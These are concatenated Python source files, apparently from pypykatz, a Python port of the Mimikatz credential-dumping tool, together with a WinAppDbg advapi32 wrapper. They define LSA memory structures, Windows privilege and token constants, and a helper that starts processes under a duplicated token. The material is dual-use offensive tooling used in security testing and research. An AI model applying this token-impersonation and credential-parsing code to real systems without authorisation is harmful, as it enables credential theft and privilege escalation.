158 class RTL_AVL_TABLE:
159 def __init__(self, reader):
160 self.BalancedRoot = RTL_BALANCED_LINKS(reader)
161 self.OrderedPointer = PVOID(reader)
162 self.WhichOrderedElement = ULONG(reader).value
163 self.NumberGenericTableElements = ULONG(reader).value
164 self.DepthOfTree = ULONG(reader).value
165 reader.align()
166 self.RestartKey = PRTL_BALANCED_LINKS(reader)
167 self.DeleteCount = ULONG(reader).value
168 reader.align()
169 self.CompareRoutine = PVOID (reader)# //
170 self.AllocateRoutine = PVOID(reader) #//
171 self.FreeRoutine = PVOID(reader)#//
172 TableContext = PVOID(reader)
173
174 class PLSAISO_DATA_BLOB(POINTER):
175 def __init__(self, reader):
176 super().__init__(reader, LSAISO_DATA_BLOB)
177
178 class LSAISO_DATA_BLOB:
179 size = 9*4 + 3*16 + 16 #+sizeof array ?ANYSIZE_ARRAY
180 def __init__(self, reader):
181 self.structSize = DWORD(reader)
182 self.unk0 = DWORD(reader)
183 self.typeSize = DWORD(reader)
184 self.unk1 = DWORD(reader)
185 self.unk2 = DWORD(reader)
186 self.unk3 = DWORD(reader)
187 self.unk4 = DWORD(reader)
188 self.unkKeyData = reader.read(3*16)
189 self.unkData2 = reader.read(16)
190 self.unk5 = DWORD(reader)
191 self.origSize = DWORD(reader)
192 self.data = None #size determined later
193
194
195 class ENC_LSAISO_DATA_BLOB:
196 def __init__(self, reader):
197 self.unkData1 = reader.read(16)
198 self.unkData2 = reader.read(16)
199 self.data = None #size determined later
200
201 class GUID:
202 def __init__(self, reader):
203 self.Data1 = DWORD(reader).value
204 self.Data2 = WORD(reader).value
205 self.Data3 = WORD(reader).value
206 self.Data4 = reader.read(8)
207 self.value = '-'.join([
208 hex(self.Data1)[2:],
209 hex(self.Data2)[2:],
210 hex(self.Data3)[2:],
211 hex(int.from_bytes(self.Data4[:2], byteorder = 'big', signed = False))[2:],
212 hex(int.from_bytes(self.Data4[2:], byteorder = 'big', signed = False))[2:]
213 ])
214
215 class PLIST_ENTRY(POINTER):
216 def __init__(self, reader):
217 super().__init__(reader, LIST_ENTRY)
218
219 class LIST_ENTRY:
220 def __init__(self, reader):
221 self.location = reader.tell()
222 self.Flink = PLIST_ENTRY(reader)
223 self.Blink = PLIST_ENTRY(reader)
224
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 PROCESS_QUERY_INFORMATION = 0x0400
7 PROCESS_VM_READ = 0x0010
8
9 # Standard access rights
10 DELETE = 0x00010000
11 READ_CONTROL = 0x00020000
12 WRITE_DAC = 0x00040000
13 WRITE_OWNER = 0x00080000
14 SYNCHRONIZE = 0x00100000
15 STANDARD_RIGHTS_REQUIRED = 0x000F0000
16 STANDARD_RIGHTS_READ = READ_CONTROL
17 STANDARD_RIGHTS_WRITE = READ_CONTROL
18 STANDARD_RIGHTS_EXECUTE = READ_CONTROL
19 STANDARD_RIGHTS_ALL = 0x001F0000
20 SPECIFIC_RIGHTS_ALL = 0x0000FFFF
21
22
23 #--- Constants ----------------------------------------------------------------
24
25 privnames = {
26 "SE_ASSIGNPRIMARYTOKEN_NAME" : "SeAssignPrimaryTokenPrivilege",
27 "SE_AUDIT_NAME" : "SeAuditPrivilege",
28 "SE_BACKUP_NAME" : "SeBackupPrivilege",
29 "SE_CHANGE_NOTIFY_NAME" : "SeChangeNotifyPrivilege",
30 "SE_CREATE_GLOBAL_NAME" : "SeCreateGlobalPrivilege",
31 "SE_CREATE_PAGEFILE_NAME" : "SeCreatePagefilePrivilege",
32 "SE_CREATE_PERMANENT_NAME" : "SeCreatePermanentPrivilege",
33 "SE_CREATE_SYMBOLIC_LINK_NAME" : "SeCreateSymbolicLinkPrivilege",
34 "SE_CREATE_TOKEN_NAME" : "SeCreateTokenPrivilege",
35 "SE_DEBUG_NAME" : "SeDebugPrivilege",
36 "SE_ENABLE_DELEGATION_NAME" : "SeEnableDelegationPrivilege",
37 "SE_IMPERSONATE_NAME" : "SeImpersonatePrivilege",
38 "SE_INC_BASE_PRIORITY_NAME" : "SeIncreaseBasePriorityPrivilege",
39 "SE_INCREASE_QUOTA_NAME" : "SeIncreaseQuotaPrivilege",
40 "SE_INC_WORKING_SET_NAME" : "SeIncreaseWorkingSetPrivilege",
41 "SE_LOAD_DRIVER_NAME" : "SeLoadDriverPrivilege",
42 "SE_LOCK_MEMORY_NAME" : "SeLockMemoryPrivilege",
43 "SE_MACHINE_ACCOUNT_NAME" : "SeMachineAccountPrivilege",
44 "SE_MANAGE_VOLUME_NAME" : "SeManageVolumePrivilege",
45 "SE_PROF_SINGLE_PROCESS_NAME" : "SeProfileSingleProcessPrivilege",
46 "SE_RELABEL_NAME" : "SeRelabelPrivilege",
47 "SE_REMOTE_SHUTDOWN_NAME" : "SeRemoteShutdownPrivilege",
48 "SE_RESTORE_NAME" : "SeRestorePrivilege",
49 "SE_SECURITY_NAME" : "SeSecurityPrivilege",
50 "SE_SHUTDOWN_NAME" : "SeShutdownPrivilege",
51 "SE_SYNC_AGENT_NAME" : "SeSyncAgentPrivilege",
52 "SE_SYSTEM_ENVIRONMENT_NAME" : "SeSystemEnvironmentPrivilege",
53 "SE_SYSTEM_PROFILE_NAME" : "SeSystemProfilePrivilege",
54 "SE_SYSTEMTIME_NAME" : "SeSystemtimePrivilege",
55 "SE_TAKE_OWNERSHIP_NAME" : "SeTakeOwnershipPrivilege",
56 "SE_TCB_NAME" : "SeTcbPrivilege",
57 "SE_TIME_ZONE_NAME" : "SeTimeZonePrivilege",
58 "SE_TRUSTED_CREDMAN_ACCESS_NAME" : "SeTrustedCredManAccessPrivilege",
59 "SE_UNDOCK_NAME" : "SeUndockPrivilege",
60 "SE_UNSOLICITED_INPUT_NAME" : "SeUnsolicitedInputPrivilege"
61 }
62
63 # Privilege constants
64 SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"
65 SE_AUDIT_NAME = "SeAuditPrivilege"
66 SE_BACKUP_NAME = "SeBackupPrivilege"
67 SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"
68 SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"
69 SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"
70 SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"
71 SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege"
72 SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"
73 SE_DEBUG_NAME = "SeDebugPrivilege"
74 SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege"
75 SE_IMPERSONATE_NAME = "SeImpersonatePrivilege"
76 SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"
77 SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"
78 SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege"
79 SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"
80 SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"
81 SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"
82 SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege"
83 SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"
84 SE_RELABEL_NAME = "SeRelabelPrivilege"
85 SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"
86 SE_RESTORE_NAME = "SeRestorePrivilege"
87 SE_SECURITY_NAME = "SeSecurityPrivilege"
88 SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
89 SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege"
90 SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"
91 SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"
92 SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"
93 SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"
94 SE_TCB_NAME = "SeTcbPrivilege"
95 SE_TIME_ZONE_NAME = "SeTimeZonePrivilege"
96 SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"
97 SE_UNDOCK_NAME = "SeUndockPrivilege"
98 SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
99
100 SE_CREATE_TOKEN = 2
101 SE_ASSIGNPRIMARYTOKEN = 3
102 SE_LOCK_MEMORY=4
103 SE_INCREASE_QUOTA=5
104 SE_UNSOLICITED_INPUT=6
105 SE_TCB=7
106 SE_SECURITY=8
107 SE_TAKE_OWNERSHIP=9
108 SE_LOAD_DRIVER=10
109 SE_SYSTEM_PROFILE=11
110 SE_SYSTEMTIME=12
111 SE_PROF_SINGLE_PROCESS=13
112 SE_INC_BASE_PRIORITY=14
113 SE_CREATE_PAGEFILE=15
114 SE_CREATE_PERMANENT=16
115 SE_BACKUP=17
116 SE_RESTORE=18
117 SE_SHUTDOWN=19
118 SE_DEBUG=20
119 SE_AUDIT=21
120 SE_SYSTEM_ENVIRONMENT=22
121 SE_CHANGE_NOTIFY=23
122 SE_REMOTE_SHUTDOWN=24
123 SE_UNDOCK=25
124 SE_SYNC_AGENT=26
125 SE_ENABLE_DELEGATION=27
126 SE_MANAGE_VOLUME=28
127 SE_IMPERSONATE=29
128 SE_CREATE_GLOBAL=30
129 SE_TRUSTED_CREDMAN_ACCESS=31
130 SE_RELABEL=32
131 SE_INC_WORKING_SET=33
132 SE_TIME_ZONE=34
133 SE_CREATE_SYMBOLIC_LINK=35
134
135 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001
136 SE_PRIVILEGE_ENABLED = 0x00000002
137 SE_PRIVILEGE_REMOVED = 0x00000004
138 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
139
140 TOKEN_ADJUST_PRIVILEGES = 0x00000020
141
142 LOGON_WITH_PROFILE = 0x00000001
143 LOGON_NETCREDENTIALS_ONLY = 0x00000002
144
145 # Token access rights
146 TOKEN_ASSIGN_PRIMARY = 0x0001
147 TOKEN_DUPLICATE = 0x0002
148 TOKEN_IMPERSONATE = 0x0004
149 TOKEN_QUERY = 0x0008
150 TOKEN_QUERY_SOURCE = 0x0010
151 TOKEN_ADJUST_PRIVILEGES = 0x0020
152 TOKEN_ADJUST_GROUPS = 0x0040
153 TOKEN_ADJUST_DEFAULT = 0x0080
154 TOKEN_ADJUST_SESSIONID = 0x0100
155 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
156 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
157 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
158 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
159 TOKEN_ADJUST_SESSIONID)
160
161 #dont ask me...
162 TOKEN_MANIP_ACCESS = (TOKEN_QUERY | TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_QUERY_SOURCE | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | (131072 | 4))
163
164
165 # typedef enum _SECURITY_IMPERSONATION_LEVEL {
166 # SecurityAnonymous,
167 # SecurityIdentification,
168 # SecurityImpersonation,
169 # SecurityDelegation
170 # } SECURITY_IMPERSONATION_LEVEL, *PSECURITY_IMPERSONATION_LEVEL;
171
172 SecurityAnonymous = 0
173 SecurityIdentification = 1
174 SecurityImpersonation = 2
175 SecurityDelegation = 3
176
177 TokenPrimary = 1
178 TokenImpersonation = 2
179
180 # Predefined HKEY values
181 HKEY_CLASSES_ROOT = 0x80000000
182 HKEY_CURRENT_USER = 0x80000001
183 HKEY_LOCAL_MACHINE = 0x80000002
184 HKEY_USERS = 0x80000003
185 HKEY_PERFORMANCE_DATA = 0x80000004
186 HKEY_CURRENT_CONFIG = 0x80000005
187
188 # Registry access rights
189 KEY_ALL_ACCESS = 0xF003F
190 KEY_CREATE_LINK = 0x0020
191 KEY_CREATE_SUB_KEY = 0x0004
192 KEY_ENUMERATE_SUB_KEYS = 0x0008
193 KEY_EXECUTE = 0x20019
194 KEY_NOTIFY = 0x0010
195 KEY_QUERY_VALUE = 0x0001
196 KEY_READ = 0x20019
197 KEY_SET_VALUE = 0x0002
198 KEY_WOW64_32KEY = 0x0200
199 KEY_WOW64_64KEY = 0x0100
200 KEY_WRITE = 0x20006
201
202 # Registry value types
203 REG_NONE = 0
204 REG_SZ = 1
205 REG_EXPAND_SZ = 2
206 REG_BINARY = 3
207 REG_DWORD = 4
208 REG_DWORD_LITTLE_ENDIAN = REG_DWORD
209 REG_DWORD_BIG_ENDIAN = 5
210 REG_LINK = 6
211 REG_MULTI_SZ = 7
212 REG_RESOURCE_LIST = 8
213 REG_FULL_RESOURCE_DESCRIPTOR = 9
214 REG_RESOURCE_REQUIREMENTS_LIST = 10
215 REG_QWORD = 11
216 REG_QWORD_LITTLE_ENDIAN = REG_QWORD
0
1 import ctypes
2 from pypykatz.commons.winapi.constants import *
3 from pypykatz.commons.winapi.local.function_defs.advapi32 import LookupPrivilegeValueW, OpenProcessToken, GetTokenInformation_sid, LookupAccountSidW, ConvertSidToStringSidA, DuplicateTokenEx, CreateProcessWithTokenW, SetThreadToken, ConvertStringSidToSidA, LOGON_NETCREDENTIALS_ONLY
4 from pypykatz.commons.winapi.local.function_defs.kernel32 import STARTUPINFOW
5
6
7 class ADVAPI32:
8 def __init__(self):
9 pass
10
11 @staticmethod
12 def LookupPrivilegeValue(system_name, privilege_name):
13 return LookupPrivilegeValueW(system_name, privilege_name)
14
15 @staticmethod
16 def OpenProcessToken(process_handle, DesiredAccess = TOKEN_ALL_ACCESS):
17 return OpenProcessToken(process_handle, DesiredAccess = DesiredAccess)
18
19
20 @staticmethod
21 def GetTokenInformation_sid(token_handle):
22 return GetTokenInformation_sid(token_handle)
23
24
25 @staticmethod
26 def LookupAccountSid(lpSystemName, lpSid):
27 return LookupAccountSidW(lpSystemName, lpSid)
28
29
30 @staticmethod
31 def ConvertSidToStringSid(lpSid):
32 return ConvertSidToStringSidA(lpSid)
33
34 @staticmethod
35 def ConvertStringSidToSid(StringSid):
36 return ConvertStringSidToSidA(StringSid)
37
38 @staticmethod
39 def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary):
40 return DuplicateTokenEx(hExistingToken, dwDesiredAccess = dwDesiredAccess, lpTokenAttributes = lpTokenAttributes, ImpersonationLevel = ImpersonationLevel, TokenType = TokenType)
41
42
43 @staticmethod
44 def CreateProcessWithToken_manip(token, cmdline):
45 SW_SHOW = 5
46 STARTF_USESHOWWINDOW = 0x00000001
47
48 lpStartupInfo = STARTUPINFOW()
49 lpStartupInfo.cb = ctypes.sizeof(STARTUPINFOW)
50 lpStartupInfo.lpReserved = 0
51 lpStartupInfo.lpDesktop = 0
52 lpStartupInfo.lpTitle = 0
53 lpStartupInfo.dwFlags = STARTF_USESHOWWINDOW
54 lpStartupInfo.cbReserved2 = 0
55 lpStartupInfo.lpReserved2 = 0
56 lpStartupInfo.wShowWindow = SW_SHOW
57
58
59 CREATE_NEW_CONSOLE = 0x00000010
60 CreateProcessWithTokenW(
61 hToken = token,
62 dwLogonFlags = LOGON_NETCREDENTIALS_ONLY,
63 lpApplicationName = None,
64 lpCommandLine = cmdline,
65 dwCreationFlags = CREATE_NEW_CONSOLE,
66 lpEnvironment = None,
67 lpCurrentDirectory = None,
68 lpStartupInfo = lpStartupInfo
69 )
70
71
72 @staticmethod
73 def SetThreadToken(token_handle, thread_handle = None):
74 return SetThreadToken(token_handle, thread_handle = thread_handle)
75
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2018, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Wrapper for advapi32.dll in ctypes.
32 """
33
34 from .defines import * # NOQA
35 from .kernel32 import * # NOQA
36
37 # XXX TODO
38 # + add transacted registry operations
39
40 #==============================================================================
41 # This is used later on to calculate the list of exported symbols.
42 _all = None
43 _all = set(vars().keys())
44 #==============================================================================
45
46 #--- Constants ----------------------------------------------------------------
47
48 # Privilege constants
49 SE_ASSIGNPRIMARYTOKEN_NAME = "SeAssignPrimaryTokenPrivilege"
50 SE_AUDIT_NAME = "SeAuditPrivilege"
51 SE_BACKUP_NAME = "SeBackupPrivilege"
52 SE_CHANGE_NOTIFY_NAME = "SeChangeNotifyPrivilege"
53 SE_CREATE_GLOBAL_NAME = "SeCreateGlobalPrivilege"
54 SE_CREATE_PAGEFILE_NAME = "SeCreatePagefilePrivilege"
55 SE_CREATE_PERMANENT_NAME = "SeCreatePermanentPrivilege"
56 SE_CREATE_SYMBOLIC_LINK_NAME = "SeCreateSymbolicLinkPrivilege"
57 SE_CREATE_TOKEN_NAME = "SeCreateTokenPrivilege"
58 SE_DEBUG_NAME = "SeDebugPrivilege"
59 SE_ENABLE_DELEGATION_NAME = "SeEnableDelegationPrivilege"
60 SE_IMPERSONATE_NAME = "SeImpersonatePrivilege"
61 SE_INC_BASE_PRIORITY_NAME = "SeIncreaseBasePriorityPrivilege"
62 SE_INCREASE_QUOTA_NAME = "SeIncreaseQuotaPrivilege"
63 SE_INC_WORKING_SET_NAME = "SeIncreaseWorkingSetPrivilege"
64 SE_LOAD_DRIVER_NAME = "SeLoadDriverPrivilege"
65 SE_LOCK_MEMORY_NAME = "SeLockMemoryPrivilege"
66 SE_MACHINE_ACCOUNT_NAME = "SeMachineAccountPrivilege"
67 SE_MANAGE_VOLUME_NAME = "SeManageVolumePrivilege"
68 SE_PROF_SINGLE_PROCESS_NAME = "SeProfileSingleProcessPrivilege"
69 SE_RELABEL_NAME = "SeRelabelPrivilege"
70 SE_REMOTE_SHUTDOWN_NAME = "SeRemoteShutdownPrivilege"
71 SE_RESTORE_NAME = "SeRestorePrivilege"
72 SE_SECURITY_NAME = "SeSecurityPrivilege"
73 SE_SHUTDOWN_NAME = "SeShutdownPrivilege"
74 SE_SYNC_AGENT_NAME = "SeSyncAgentPrivilege"
75 SE_SYSTEM_ENVIRONMENT_NAME = "SeSystemEnvironmentPrivilege"
76 SE_SYSTEM_PROFILE_NAME = "SeSystemProfilePrivilege"
77 SE_SYSTEMTIME_NAME = "SeSystemtimePrivilege"
78 SE_TAKE_OWNERSHIP_NAME = "SeTakeOwnershipPrivilege"
79 SE_TCB_NAME = "SeTcbPrivilege"
80 SE_TIME_ZONE_NAME = "SeTimeZonePrivilege"
81 SE_TRUSTED_CREDMAN_ACCESS_NAME = "SeTrustedCredManAccessPrivilege"
82 SE_UNDOCK_NAME = "SeUndockPrivilege"
83 SE_UNSOLICITED_INPUT_NAME = "SeUnsolicitedInputPrivilege"
84
85 SE_CREATE_TOKEN = 2
86 SE_ASSIGNPRIMARYTOKEN = 3
87 SE_LOCK_MEMORY=4
88 SE_INCREASE_QUOTA=5
89 SE_UNSOLICITED_INPUT=6
90 SE_TCB=7
91 SE_SECURITY=8
92 SE_TAKE_OWNERSHIP=9
93 SE_LOAD_DRIVER=10
94 SE_SYSTEM_PROFILE=11
95 SE_SYSTEMTIME=12
96 SE_PROF_SINGLE_PROCESS=13
97 SE_INC_BASE_PRIORITY=14
98 SE_CREATE_PAGEFILE=15
99 SE_CREATE_PERMANENT=16
100 SE_BACKUP=17
101 SE_RESTORE=18
102 SE_SHUTDOWN=19
103 SE_DEBUG=20
104 SE_AUDIT=21
105 SE_SYSTEM_ENVIRONMENT=22
106 SE_CHANGE_NOTIFY=23
107 SE_REMOTE_SHUTDOWN=24
108 SE_UNDOCK=25
109 SE_SYNC_AGENT=26
110 SE_ENABLE_DELEGATION=27
111 SE_MANAGE_VOLUME=28
112 SE_IMPERSONATE=29
113 SE_CREATE_GLOBAL=30
114 SE_TRUSTED_CREDMAN_ACCESS=31
115 SE_RELABEL=32
116 SE_INC_WORKING_SET=33
117 SE_TIME_ZONE=34
118 SE_CREATE_SYMBOLIC_LINK=35
119
120 SE_PRIVILEGE_ENABLED_BY_DEFAULT = 0x00000001
121 SE_PRIVILEGE_ENABLED = 0x00000002
122 SE_PRIVILEGE_REMOVED = 0x00000004
123 SE_PRIVILEGE_USED_FOR_ACCESS = 0x80000000
124
125 TOKEN_ADJUST_PRIVILEGES = 0x00000020
126
127 LOGON_WITH_PROFILE = 0x00000001
128 LOGON_NETCREDENTIALS_ONLY = 0x00000002
129
130 # Token access rights
131 TOKEN_ASSIGN_PRIMARY = 0x0001
132 TOKEN_DUPLICATE = 0x0002
133 TOKEN_IMPERSONATE = 0x0004
134 TOKEN_QUERY = 0x0008
135 TOKEN_QUERY_SOURCE = 0x0010
136 TOKEN_ADJUST_PRIVILEGES = 0x0020
137 TOKEN_ADJUST_GROUPS = 0x0040
138 TOKEN_ADJUST_DEFAULT = 0x0080
139 TOKEN_ADJUST_SESSIONID = 0x0100
140 TOKEN_READ = (STANDARD_RIGHTS_READ | TOKEN_QUERY)
141 TOKEN_ALL_ACCESS = (STANDARD_RIGHTS_REQUIRED | TOKEN_ASSIGN_PRIMARY |
142 TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | TOKEN_QUERY_SOURCE |
143 TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS | TOKEN_ADJUST_DEFAULT |
144 TOKEN_ADJUST_SESSIONID)
145
146 # Predefined HKEY values
147 HKEY_CLASSES_ROOT = 0x80000000
148 HKEY_CURRENT_USER = 0x80000001
149 HKEY_LOCAL_MACHINE = 0x80000002
150 HKEY_USERS = 0x80000003
151 HKEY_PERFORMANCE_DATA = 0x80000004
152 HKEY_CURRENT_CONFIG = 0x80000005
153
154 # Registry access rights
155 KEY_ALL_ACCESS = 0xF003F
156 KEY_CREATE_LINK = 0x0020
157 KEY_CREATE_SUB_KEY = 0x0004
158 KEY_ENUMERATE_SUB_KEYS = 0x0008
159 KEY_EXECUTE = 0x20019
160 KEY_NOTIFY = 0x0010
161 KEY_QUERY_VALUE = 0x0001
162 KEY_READ = 0x20019
163 KEY_SET_VALUE = 0x0002
164 KEY_WOW64_32KEY = 0x0200
165 KEY_WOW64_64KEY = 0x0100
166 KEY_WRITE = 0x20006
167
168 # Registry value types
169 REG_NONE = 0
170 REG_SZ = 1
171 REG_EXPAND_SZ = 2
172 REG_BINARY = 3
173 REG_DWORD = 4
174 REG_DWORD_LITTLE_ENDIAN = REG_DWORD
175 REG_DWORD_BIG_ENDIAN = 5
176 REG_LINK = 6
177 REG_MULTI_SZ = 7
178 REG_RESOURCE_LIST = 8
179 REG_FULL_RESOURCE_DESCRIPTOR = 9
180 REG_RESOURCE_REQUIREMENTS_LIST = 10
181 REG_QWORD = 11
182 REG_QWORD_LITTLE_ENDIAN = REG_QWORD
183
184 #--- TOKEN_PRIVILEGE structure ------------------------------------------------
185
186 # typedef struct _LUID {
187 # DWORD LowPart;
188 # LONG HighPart;
189 # } LUID,
190 # *PLUID;
191 class LUID(Structure):
192 _fields_ = [
193 ("LowPart", DWORD),
194 ("HighPart", LONG),
195 ]
196
197 PLUID = POINTER(LUID)
198
199 # typedef struct _LUID_AND_ATTRIBUTES {
200 # LUID Luid;
201 # DWORD Attributes;
202 # } LUID_AND_ATTRIBUTES,
203 # *PLUID_AND_ATTRIBUTES;
204 class LUID_AND_ATTRIBUTES(Structure):
205 _fields_ = [
206 ("Luid", LUID),
207 ("Attributes", DWORD),
208 ]
209
210 # typedef struct _TOKEN_PRIVILEGES {
211 # DWORD PrivilegeCount;
212 # LUID_AND_ATTRIBUTES Privileges[ANYSIZE_ARRAY];
213 # } TOKEN_PRIVILEGES,
214 # *PTOKEN_PRIVILEGES;
215 class TOKEN_PRIVILEGES(Structure):
216 _fields_ = [
217 ("PrivilegeCount", DWORD),
218 ## ("Privileges", LUID_AND_ATTRIBUTES * ANYSIZE_ARRAY),
219 ("Privileges", LUID_AND_ATTRIBUTES),
220 ]
221 # See comments on AdjustTokenPrivileges about this structure
222
223 PTOKEN_PRIVILEGES = POINTER(TOKEN_PRIVILEGES)
224
225 #--- GetTokenInformation enums and structures ---------------------------------
226
227 # typedef enum _TOKEN_INFORMATION_CLASS {
228 # TokenUser = 1,
229 # TokenGroups,
230 # TokenPrivileges,
231 # TokenOwner,
232 # TokenPrimaryGroup,
233 # TokenDefaultDacl,
234 # TokenSource,
235 # TokenType,
236 # TokenImpersonationLevel,
237 # TokenStatistics,
238 # TokenRestrictedSids,
239 # TokenSessionId,
240 # TokenGroupsAndPrivileges,
241 # TokenSessionReference,
242 # TokenSandBoxInert,
243 # TokenAuditPolicy,
244 # TokenOrigin,
245 # TokenElevationType,
246 # TokenLinkedToken,
247 # TokenElevation,
248 # TokenHasRestrictions,
249 # TokenAccessInformation,
250 # TokenVirtualizationAllowed,
251 # TokenVirtualizationEnabled,
252 # TokenIntegrityLevel,
253 # TokenUIAccess,
254 # TokenMandatoryPolicy,
255 # TokenLogonSid,
256 # TokenIsAppContainer,
257 # TokenCapabilities,
258 # TokenAppContainerSid,
259 # TokenAppContainerNumber,
260 # TokenUserClaimAttributes,
261 # TokenDeviceClaimAttributes,
262 # TokenRestrictedUserClaimAttributes,
263 # TokenRestrictedDeviceClaimAttributes,
264 # TokenDeviceGroups,
265 # TokenRestrictedDeviceGroups,
266 # TokenSecurityAttributes,
267 # TokenIsRestricted,
268 # MaxTokenInfoClass
269 # } TOKEN_INFORMATION_CLASS, *PTOKEN_INFORMATION_CLASS;
270
271 TOKEN_INFORMATION_CLASS = ctypes.c_int
272
273 TokenUser = 1
274 TokenGroups = 2
275 TokenPrivileges = 3
276 TokenOwner = 4
277 TokenPrimaryGroup = 5
278 TokenDefaultDacl = 6
279 TokenSource = 7
280 TokenType = 8
281 TokenImpersonationLevel = 9
282 TokenStatistics = 10
283 TokenRestrictedSids = 11
284 TokenSessionId = 12
285 TokenGroupsAndPrivileges = 13
286 TokenSessionReference = 14
287 TokenSandBoxInert = 15
288 TokenAuditPolicy = 16
289 TokenOrigin = 17
290 TokenElevationType = 18
291 TokenLinkedToken = 19
292 TokenElevation = 20
293 TokenHasRestrictions = 21
294 TokenAccessInformation = 22
295 TokenVirtualizationAllowed = 23
296 TokenVirtualizationEnabled = 24
297 TokenIntegrityLevel = 25
298 TokenUIAccess = 26
299 TokenMandatoryPolicy = 27
300 TokenLogonSid = 28
301 TokenIsAppContainer = 29
302 TokenCapabilities = 30
303 TokenAppContainerSid = 31
304 TokenAppContainerNumber = 32
305 TokenUserClaimAttributes = 33
306 TokenDeviceClaimAttributes = 34
307 TokenRestrictedUserClaimAttributes = 35
308 TokenRestrictedDeviceClaimAttributes = 36
309 TokenDeviceGroups = 37
310 TokenRestrictedDeviceGroups = 38
311 TokenSecurityAttributes = 39
312 TokenIsRestricted = 40
313 MaxTokenInfoClass = 41
314
315 # typedef enum tagTOKEN_TYPE {
316 # TokenPrimary = 1,
317 # TokenImpersonation
318 # } TOKEN_TYPE, *PTOKEN_TYPE;
319
320 TOKEN_TYPE = ctypes.c_int
321 PTOKEN_TYPE = POINTER(TOKEN_TYPE)
322
323 TokenPrimary = 1
324 TokenImpersonation = 2
325
326 # typedef enum {
327 # TokenElevationTypeDefault = 1,
328 # TokenElevationTypeFull,
329 # TokenElevationTypeLimited
330 # } TOKEN_ELEVATION_TYPE , *PTOKEN_ELEVATION_TYPE;
331
332 TokenElevationTypeDefault = 1
333 TokenElevationTypeFull = 2
334 TokenElevationTypeLimited = 3
335
336 TOKEN_ELEVATION_TYPE = ctypes.c_int
337 PTOKEN_ELEVATION_TYPE = POINTER(TOKEN_ELEVATION_TYPE)
338
339 # typedef enum _SECURITY_IMPERSONATION_LEVEL {
340 # SecurityAnonymous,
341 # SecurityIdentification,
342 # SecurityImpersonation,
343 # SecurityDelegation
344 # } SECURITY_IMPERSONATION_LEVEL, *PSECURITY_IMPERSONATION_LEVEL;
345
346 SecurityAnonymous = 0
347 SecurityIdentification = 1
348 SecurityImpersonation = 2
